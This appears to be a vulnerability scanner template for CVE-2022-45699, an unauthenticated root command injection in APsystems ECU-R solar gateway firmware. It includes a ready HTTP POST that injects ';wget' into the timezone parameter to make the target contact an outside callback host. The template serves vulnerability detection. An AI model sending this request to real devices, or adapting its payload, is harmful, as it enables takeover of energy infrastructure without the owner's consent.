APsystems ECU-R Firmware - Command Injection

id: CVE-2022-45699

info:
  name: APsystems ECU-R Firmware - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    Command injection in the administration interface in APSystems ECU-R version 5203 allows a remote unauthenticated attacker to execute arbitrary commands as root using the timezone parameter.
  impact: |
    Unauthenticated attackers can execute arbitrary commands with root privileges through the timezone parameter in the administration interface, potentially compromising the entire solar power management system and connected infrastructure.
  remediation: |
    Upgrade APsystems ECU-R firmware to a patched version that properly sanitizes the timezone parameter and validates input to prevent command injection.
  reference:
    - https://github.com/0xst4n/APSystems-ECU-R-RCE-Timezone
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-45699
    cwe-id: CWE-78,CWE-94
    epss-score: 0.76604
    epss-percentile: 0.99485
    cpe: cpe:2.3:o:apsystems:ecu-r_firmware:5203:*:*:*:*:*:*:*
  metadata:
    vendor: apsystems
    product: ecu-r_firmware
  tags: cve,cve2022,rce,apsystems,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "<title>Altenergy Power Control Software"
        internal: true

  - raw:
      - |
        POST /index.php/management/set_timezone HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        timezone=;wget+{{interactsh-url}};#

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e8278373ea9529d30b0368a763bd4f45901787c80210584e7eab44fd0608e5af02204893c506ea2253f11a0702e13b09dfe5928d8f9438ae7cc4842bba8c5c25c377:922c64590222798bb761d5b6d8e72950